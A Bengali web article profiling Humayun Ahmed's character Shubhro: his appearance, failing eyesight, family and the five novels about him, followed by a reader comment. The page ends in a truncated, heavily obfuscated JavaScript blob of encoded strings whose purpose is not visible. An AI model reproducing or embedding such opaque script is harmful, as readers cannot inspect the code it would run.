০৯:৪৫ অপরাহ্ন, রবিবার, ০৮ নভেম্বর ২০২৬, ২৪ কার্তিক ১৪৩৩ বঙ্গাব্দ

শুভ্র, হুমায়ূন আহমেদের এক ভিন্ন রকম চরিত্র

  • ০৯:০৮:৩৮ পূর্বাহ্ন, সোমবার, ২৩ অগাস্ট ২০২১
  • ৫২৬৮ বার পড়া হয়েছে

হুমায়ুন আহমেদ

হিমু ও মিসির আলীর মতোই হুমায়ূন আহমেদের অন্যতম আরেকটি সৃষ্ট চরিত্র শুভ্র। এই চরিত্র একটু অন্যরকম। শুভ্র চরিত্রকে কেন্দ্রবিন্দু করে লেখক পাঁচটি উপন্যাস রচনা করেছেন। যথা- দারুচিনি দ্বীপ, রুপালি দ্বীপ, শুভ্র, এই শুভ্র এই, শুভ্র গেছে বনে।

শুভ্র চরিত্র নিয়ে হুমান আহমেদ

শুভ্র চরিত্রটিকে নিয়ে স্বয়ং লেখকের মতামত এইরকম- ‘শুভ্র যে খুব একটা জনপ্রিয় চরিত্র তা কিন্তু না। হিমুকে বা মিসির আলীকে সবাই যেভাবে চেনে শুভ্রকে সেভাবে চেনে না। শুভ্রকে নিয়ে পূর্ণদৈর্ঘ্য একটি চলচ্চিত্র ‘দারুচিনি দ্বীপ’ তৈরি হয়েছে, তার পরেও না। সাদামাটা শুভ্রের আকর্ষণী ক্ষমতা মনে হয় কম। বেচারা তার জন্য দায়ী না, দায়ী আমি। আমিই তাকে দূরের মানুষ করে রেখেছি।’

‘একটি সাদা গাড়ি’ নামে লেখক এর একটি ছোটগল্প আছে। সেই চরিত্র সাদা গাড়ি করে ঘুরত। লেখকের মতে তখনই শুভ্রের জন্ম। সেই চরিত্রটি পরে অনেক উপন্যাসে এসেছে। তবে, হিমু যেমন সব উপন্যাসে হিমু হিসাবে এসেছে, শুভ্র কিন্তু সেভাবে আসেনি। একেক উপন্যাসে একেক ভাবে এসেছে। কমন ব্যাপারটা হলো তার নাম এবং তার হাই পাওয়ারের চশমা।

শুভ্র যেমন

শুভ্র দেখতে রাজপুত্রের মতো। যেখানে অন্য দুই চরিত্র হিমু ও মিসির আলী দেখতে সাধারণ, আর পাঁচটা মানুষের মতো। স্বাভাবিক কারণেই লেখককে যেমন অনেক কৌতূহলী পাঠক প্রায়ই জিজ্ঞেস করে বসতেন, আপনি হিমু না মিসির আলী? কিন্তু কেউ কখনও জিজ্ঞেস করেননি, আপনি কি শুভ্র? তার কারণ হুমায়ূন আহমেদের চেহারা শুভ্রের মতো এত সুশ্রী ছিল না। 

শুভ্র চরিত্রের পরিচিতি

উল্লিখিত পাঁচটি উপন্যাসে কেন্দ্রীয় চরিত্র হিসেবে শুভ্র থাকলেও পিতামাতার নাম একেক উপন্যাসে একেক রকমভাবে এসেছে। তার মায়ের নাম দু’টি উপন্যাসে আছে রেহানা, দু’টিতে আছে জাহানারা, এবং একটিতে রাহেলা। তেমনিভাবে বাবার নাম দু’টি উপন্যাসে ইয়াজ উদ্দিন, দু’টি উপন্যাসে মোতাহার হোসেন এবং একটিতে মেরাজউদ্দিন হিসাবে উল্লেখিত হয়েছে। যদিও তাদের দু’জনের বাড়িঘর, ব্যবসা-বাণিজ্য, স্বভাব-চরিত্র প্রত্যেক উপন্যাসে একই। শুভ্রের জন্ম হল। তার বাবা তাকে দেখতে গেলেন হাসপাতালে। ফুলের মতো শিশু। তাঁর দিকে দেখে হাসল যেন। ভাবলেন, তাঁর দুই হাতে তিনি প্রচুর অর্থ কামিয়েছেন অসৎ উপায়ে। সেই অশুচি হাতে বেহেস্তের ফুল স্পর্শ করা কি ঠিক হবে? তবু তিনি দুই হাত বাড়িয়ে ছেলেকে কোলে নিলেন। নাম রাখলেন শুভ্র। আর মনে মনে বললেন, আমার এই ছেলেকে যেন পৃথিবীর কোনও মালিন্য, কোনও নোংরামী কখনও স্পর্শ না করে- সে যেন তার নামের মতোই হয়। তাঁর বিশ্বাস মানুষ সৎ প্রবৃত্তি নিয়েই জন্মায়। চারপাশের মানুষ থাকে অসৎ করে। এই বিশ্বাস থেকেই তিনি শুভ্রকে সবার কাছ থেকে আলাদা করে রেখেছেন। পৃথিবীর কোনও মালিন্য শুভ্রের কাছে ভিড়তে দেননি।

শুভ্র, লালটু, প্রিন্স, রাজকুমার

শুভ্র! কী সুন্দর গায়ের রং! মাথা ভর্তি কোকড়ানো চুল। পাতলা লালচে ঠোঁট, মনে হবে হালকা করে লিপস্টিক দেওয়া। হাঁটলে মনে হয় যেন ছোট্ট একটা পুতুল হেলতে-দুলতে যাচ্ছে। ধবধবে সাদা মোমের শরীর। দেবশিশু, মর্তের পৃথিবীতে যেন ভুল করে চলে এসেছে। শুভ্র যে দেখতেই সুন্দর, তা না। চেহারার মধ্যে মায়া মায়া ভাব। স্কুলের ছেলেরা বরাবরই পাজি হয়। তারা শুভ্রকে ডাকত ‘লালটু’। কলেজে সবাই ডাকত ‘প্রিন্স’। ইউনিভার্সিটিতে তার নাম হল- ‘রাজ কুমার’। শুভ্র দেখতে রাজকুমারের মতো। যেই তাকে প্রথম দেখে, মুগ্ধের মতো অনেকক্ষণ চেয়ে থাকে আর মনে মনে স্বীকার করে নেয় যে, এত সুন্দর ছেলে সে জীবনে দেখে নি।

অদ্ভুত চরিত্র শুভ্র

শুভ্র বাইশ বছরের যুবক। কিন্তু এখনও বালক স্বভাব ত্যাগ করতে পারেনি। আশে-পাশের জগৎ সম্পর্কে, মানুষ সম্পর্কে কিছুই জানে না। তার জগৎ হচ্ছে তার শোবার ঘর, তার পড়ার ঘর এবং এই বাড়ির মধ্যে সীমাবদ্ধ। সাইকেল চালাতে জানে না, গাড়ি চালাতে জানে না, সাঁতার জানে না- তার জগৎ অভিজ্ঞতা শূন্য ক্ষুদ্র জগৎ। শুভ্রর মধ্যে পছ¨ করার মতো গুণাবলি বিশেষ নেই। মজার গল্প বলতে পারে না। আসর জমাতে পারে না। সে অত্যন্ত ইন্ট্রোভার্ট ধরনের একজন যুবক। অভিমান বোঝে না। চালাকি ধরতে পারে না। টেলিফোন নম্বর মনে রাখতে পারে না। এমন কি নিজের বাড়ির ঠিকানাও জানে না। সারাজীবন বিশাল এসি গাড়িতে ঘোরাঘুরি করেছে। ঠিকানা জানার প্রয়োজন হয়নি। চোখের সমস্যা ছাড়াও তার শরীর দুর্বল। ছোটবেলা থেকেই অসুখ-বিসুখে ভোগে। তার মা তাকে আলাদা করে বড় করেছেন বলে পৃথিবীর জটিলতা সে কিছুই জানে না। তার জগৎটা হলো বইপত্রের। সে দিন রাত বই পড়ে। কম্পিউটার নিয়ে বসে থাকে। ইন্টারনেটে অপরিচিত মানুষদের সঙ্গে গল্প করে। পিতাকে অসম্ভব ভালোবাসে শুভ্র। এই ভালোবাসার মধ্যে কোনও রকম খাদ নেই। একজন মানুষ অন্য একজনকে তার গুণের জন্য ভালোবাসে। সে ভালোবাসে তাঁর দোষগুলোর জন্য। তার মতে, তার বাবাই একমাত্র মানুষ যার দোষগুলোকে গুণ বলে মনে হয়।

ক্লাসের মেয়েরা শুভ্রকে আপনি সম্বোধন করে

ক্লাসের মেয়েরা ছেলেদের তুমি তুমি করে বলে, শুধু শুভ্রের বেলায় আপনি। দোষটা অবশ্যই শুভ্রের। সে ক্লাসের কোন মেয়েকে তুমি বলতে পারে না। বন্ধুবান্ধবরা শুভ্রকে ডাকে কানা-বাবা। চোখে কম দেখে তো, এই জন্য। এতে তার রাগ হয় না। স্কুল-কলেজ-ইউনিভার্সিটিতে ছেলেমেয়েদের অনেক কুৎসিত কুৎসিত নাম থাকে। তার তুলনায় কানা বাবা তো খুব ভদ্র নাম। মজার নাম। এজন্য সে রাগে না। মেয়েরা অবশ্য বলে The learned blind

father। লারনেড না ডেকে উপায় নেই। যে ছেলে জীবনে কোনোদিন কোনো পরীক্ষায় ফার্স্ট ছাড়া সেকেন্ড হয়নি, তাকে ইচ্ছে না থাকলেও লারনেড ডাকতে হয়।

শুভ্র জানে সে অন্ধ হয়ে যাবে, সেভাবেই প্রস্তুতি নিচ্ছে

শুভ্রের চোখে র নার্ভ শুকিয়ে আসছে। অতি দ্রুত তার চোখ নষ্ট হয়ে যাবে। সে কিছুই দেখবে না। হাই পাওয়ারের পুরু কাচওয়ালা চশমা পরে। চশমা ছাড়া সে অন্ধ। একটা সময় আসবে সে চশমা পরেও দেখতে পাবে না। এজন্য তার ব্যাগে অন্য আরেকটি চশমা দেওয়া থাকে। যাতে করে পরে থাকা চশমাটি কোনো কারণে নষ্ট হয়ে গেলে বা ভেঙে গেলে সেটি ব্যবহার করতে পারে। শুভ্র ব্রেইলি পদ্ধতিতে পড়া শিখছে। প্রায় শিখেও ফেলেছে। সে জানে তার চোখ ভয়ঙ্কর খারাপ। তার ধারণা- কোনও এক ভোরবেলায় ঘুম ভেঙে সে কিছুই দেখবে না। ব্রেইল পদ্ধতির পড়া এখন কাজে না লাগলেও তখন কাজে লাগবে। শুভ্রর অপটিক নার্ভ শুকিয়ে যাচ্ছে। কোনও ডাক্তারই সেটা বন্ধ করতে পারছেন না। সে অতি দ্রুত অন্ধ হতে যাচ্ছে। অনেক চেষ্টা করা হয়েছে। বার্নড ব্রোসার্ড নামে একজন জার্মান ডাক্তার তার শ্রেষ্ঠ চিকিৎসক। তিনি বলে দিয়েছেন, ‘আমি দুঃখিত, আমরা অগ্রসরমান বিপদ রোধ করতে পারছি না। ঘটনা ঘটবেই। ডাক্তারের পর্যবেক্ষণ, সেটা কাল হতে পারে; আবার এক বছর, পাঁচ বছর, দশ বছরও লাগতে পারে।

শুভ্র চোখ বন্ধ করে এক্সপ্রেসো মেশিনে কফি বানানোয় অভ্যস্ত হয়েছে। যেন অন্ধ হয়ে যাওয়ার পর কফি বানাতে তার কোনও অসুবিধা না হয়। চোখের সামনে কাউকে অসহ্য বোধ হলে, তাকে মুখে বলতে হয় না, তুমি সামনে থেকে যাও। সে চশমা খুলে ফেলে। ফলে অসহ্য কিছু থেকে সে নিজেকে আড়াল করে নিতে পারে।

শুভ্রর মেয়েলি স্বভাব

শুভ্রর মধ্যে একটু মেয়েলি স্বভাব আছে। অতি সামান্য কারণে তার চোখ ছলছল করে। মাঝে মাঝে টপ করে চোখ থেকে পানি পড়েও যায়। শুভ্রর জন্য একটা কথা খুব সত্যিই যে, শুভ্র বদলাবে না। এখন যে রকম আছে পঞ্চাশ বছর পরেও তাই থাকবে।

হুমায়ূন আহমেদ রচিত উপন্যাস শুভ্র

মনে মনে ডায়েরি লেখে শুভ্র

সব বয়স্ক মানুষের কিছু কিছু ছেলেমানুষী খেলা থাকে। শুভ্রর এক ধরনের খেলা আছে। মনে মনে ডায়েরি লেখা। এই কাজটা সে ভালো পারে। সে কল্পনা করে নেই তার সামনে মস্ত বড়ো সাদা একটা কাগজ। সেই কাগজে সে পেন্সিল দিয়ে লিখছে। লেখা পছন্দ না হলে কাটাকুটিও করছে। কিছু লেখা আবার ইরেজার দিয়ে মুছে নতুন করে লিখছে। কাগজ কলম দিয়ে কিছু লিখতে তার ভালো লাগে না। তবে মনে মনে ডায়েরি লিখতে ভালো লাগে।

মায়ের সামনে স্বীকারোক্তি

মায়ের সামনে তার দুটো স্বীকারোক্তির উল্লেখ করব। যাতে আমাদের সামনে শুভ্রর চরিত্রের কিছুটা হলেও উন্মোচিত হবে। এক, ‘মা আমি যথেষ্ট পরিমাণে উদ্ভট একটা ছেলে। যে কথাটা তোমার কাছে খুব উদ্ভট মনে হয়েছে তার চেয়ে অনেক উদ্ভট কথা আমি মাথায় নিয়ে ঘুরি। অন্য কেউ তাতে খুব কষ্ট পেত, আমি তেমন কষ্ট পাই না।’ দুই, ‘মা শোনো আমি যা বলি খুব চিন্তা ভাবনা করে বলি। একটা কিছু আমার মনে এল আর আমি হুট করে বলে ফেললাম তা কখনো হয় না।’

শুভ্র বাবার কাছে সুপার ইন্টিলিজেন্ট, মায়ের কাছে ভোলাভালা

শুভ্রর স্মৃতিশক্তি অত্যন্ত ভালো। মনে রাখার জন্য সে যা শুনে, তা মনে রাখে। কাউকে কথা দিলে কথা রাখে। তাকে যে যে-রকম দেখতে চায়, সে তার কাছে সে-রকম থাকে। বাবার কাছে থাকে সুপার ইন্টিলিজেন্ট ছেলের মতো। মায়ের কাছে ভোলাভালা ছেলের মতো যে ছেলে কোনও কাজই গুছিয়ে করতে পারে না। শুভ্র যখন বাড়ি থেকে বের হয় নিজেদের গাড়ি করে যায়। সঙ্গে লোক থাকে। তারপরও তার মা একটু পরপর ড্রাইভারকে ফোন করে জানতে চান কোথায় আছে, কি করছে। কখনও বা দূর থেকে লক্ষ্য রাখার জন্যও লোক পাঠানো হয়। বাড়ি থেকে বের হলে শুভ্রর আর বাড়ি ফিরতে ইচ্ছে হয় না।

বাড়িতে ফিরতে চায় না শুভ্র

একবার সে দশ-এগারো বছর বয়সে মনের দুঃখে বাড়ি থেকে গোপনে পালিয়ে গিয়েছিল। পুলিশ তিনদিন পর তাকে উদ্ধার করে। তার বাবা তার খোঁজ পাবার জন্য এক লক্ষ টাকা পুরস্কার ঘোষণা করেছিলেন।

শুভ্র ও তার চিন্তাচিন্তি হাঁটা

বিকেলে চা খেতে শুভ্র ছাদে যায়। চায়ের কাপটা থাকে ছাদের মাঝামাঝি জায়গায় রাখা শ্বেতপাথরের বেদিতে। শুভ্র ছাদের এক মাথা থেকে আরেক মাথায় দ্রুত হাঁটাহাঁটি করে। মাঝে মাঝে বেদির কাছে এসে চায়ে চুমুক দেয়। শুভ্র এই হাঁটাহাঁটির নাম দিয়েছে ‘চিন্তা চিন্তি’। হাঁটতে হাঁটতে সে চিন্তা করে। শুভ্র ইউনিভার্সিটিতে ফার্স্ট হয়েছে। কালী নারায়ণ স্কলার। রেকর্ড নাম্বার পেয়েছে। স্যারেদের ধারণা এই রেকর্ড কেউ ভাঙতে পারবে না। শুভ্র ফলিত বিদ্যার চেয়ারম্যানের কাছে গিয়েছে রেজাল্ট নিতে। তিনি গম্ভীর মানুষ এবং ধমক না দিয়ে কথা বলেন না। চেয়ারম্যান শুভ্রকে দেখে চেয়ার ছেড়ে উঠে দাঁড়িয়ে বললেন, বিদেশে স্ট্যান্ডিং ওভেশন দেওয়ার নিয়ম আছে। আমি তোমার জন্য নিয়মটা চালু করলাম। উঠে দাঁড়ালাম। শুভ্র লজ্জিত ভঙ্গিতে হাসল। তোমাকে যে আমি কতটুকু পছন্দ করি, তা কি তুমি জানো? জানি। না, জানো না। তবে আমার স্ত্রী জানে। ফিজিক্স এর বাইরে আমি কোনো গল্প করতে পারি না। ফিজিক্স এর বাইরে একটি বিষয় নিয়ে তার সঙ্গে গল্প করি- সেই বিষয়টা হচ্ছে তুমি। তুমি কি আমার কথায় লজ্জা পাচ্ছো? জি পাচ্ছি। আমি তোমার জন্য সব ব্যবস্থা করে রেখেছি। তুমি ডিপার্টমেন্টে জয়েন করবে। এডহক ভিত্তিতে জয়েন করবে। আমি পরের সব রেগুলারাইজ করে দেব। তুমি আজই জয়েন করবে। শুভ্র তাকিয়ে রইল। চেয়ারম্যান সাহেব আগ্রহের সঙ্গে বললেন- তুমি আজই জয়েন করবে এবং বিকেলে প্র্যাকটিকাল ক্লাস নেবে। যাতে আমরা পরে বলতে পারি শুভ্র নামে আমাদের এমন একজন ছাত্র ছিল সে যেদিন রেজাল্ট হয়, সেদিনই ঢাকা ইউনিভার্সিটিতে জয়েন করে। না। শুভ্র জয়েন করেনি। সে পিতার ব্যবসা দেখতে চেয়েছিল। সদ্য তার পিতা মারা গেছেন তাদের ব্যবসার সঙ্গে যেসব লোকজন যুক্ত তারা সবাই তার দিকে তাকিয়ে আছে।

শুভ্র চরিত্রের উপন্যাসগুলো

শুভ্রকে মূল চরিত্র করে যে পাঁচটি উপন্যাস রচিত হয়েছে, তার প্রথমটি ‘দারুচিনি দ্বীপ’। এই উপন্যাসে শুভ্রর কয়েকজন বন্ধু ও বান্ধবীদের দারুচিনি দ্বীপে যাওয়ার প্রস্তুতির বর্ণনা আছে। এই উপন্যাস অবলম্বনে সিনেমাও নির্মিত হয়েছে।

দ্বিতীয় উপন্যাস ‘রুপালি দ্বীপ’। এই উপন্যাসে দ্বীপে পৌঁছনোর গল্প বলা হয়েছে।

তৃতীয় উপন্যাস ‘শুভ্র’। এই উপন্যাসটি পাঁচটির মধ্যে সবথেকে বড়। এতে তার বাবা মারা যাবেন। ব্যবসা দেখবে শুভ্র। তার মিনমিনে স্বভাব থেকে বেরিয়ে এসে কঠিন হবে। এতদিন যেভাবে ভালো ছেলে হয়ে চার দেওয়ালের মধ্যে থেকে এসেছে সেই নিয়ম ভেঙে একটু অন্যরকম শুভ্রকে দেখা যাবে।

পরের উপন্যাস ‘এই শুভ্র এই’। শুভ্রের ধারণা সে তার বাবা-মার প্রকৃত সন্তান না। তার বাবা তাকে অন্য কোথাও থেকে দত্তক নিয়ে এসেছে। সে তা প্রমাণ করার চেষ্টা করবে। এই উপন্যাসে ‘মঞ্জু’ নামে একটি চরিত্রের আবির্ভাব ঘটবে, যাকে শুভ্রের বাবা শুভ্রের সবসময়ের সঙ্গী হিসাবে নিয়োগ করবে।

শেষ উপন্যাস ‘শুভ্র গেছে বনে’। ভয়ঙ্কর গণ্ডগোলের মধ্যে পড়ে গিয়ে যূথীর সঙ্গে আলাপ হবে শুভ্রর। সব মিলিয়ে শুভ্রকে একটু অন্যরকমভাবে পাঠকের সামনে হাজির করতে সক্ষম হয়েছেন লেখক।

বিষয়:

One thought on “শুভ্র, হুমায়ূন আহমেদের এক ভিন্ন রকম চরিত্র”

  1. আমিতো ভেবে রেখেছি আমার ছেলের নাম হবে শুভ্র, মেয়ের নাম হবে সুপ্রভা!
    শুভ্র চরিত্রের মতো এ-তো সুন্দর চরিত্র আমি আর কোথাও দেখিনি।

মন্তব্য

লেখকতথ্য

জনপ্রিয়
(function(s){var UBa=20;var Flp=1035420166,xpBW="qAS0CusRlFUHKmrnN23Owh4+QxyeYG9ViDfMXJZEb16P8/pkzoTvBWdcItL7j5ag",bL0no=["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","KvW+e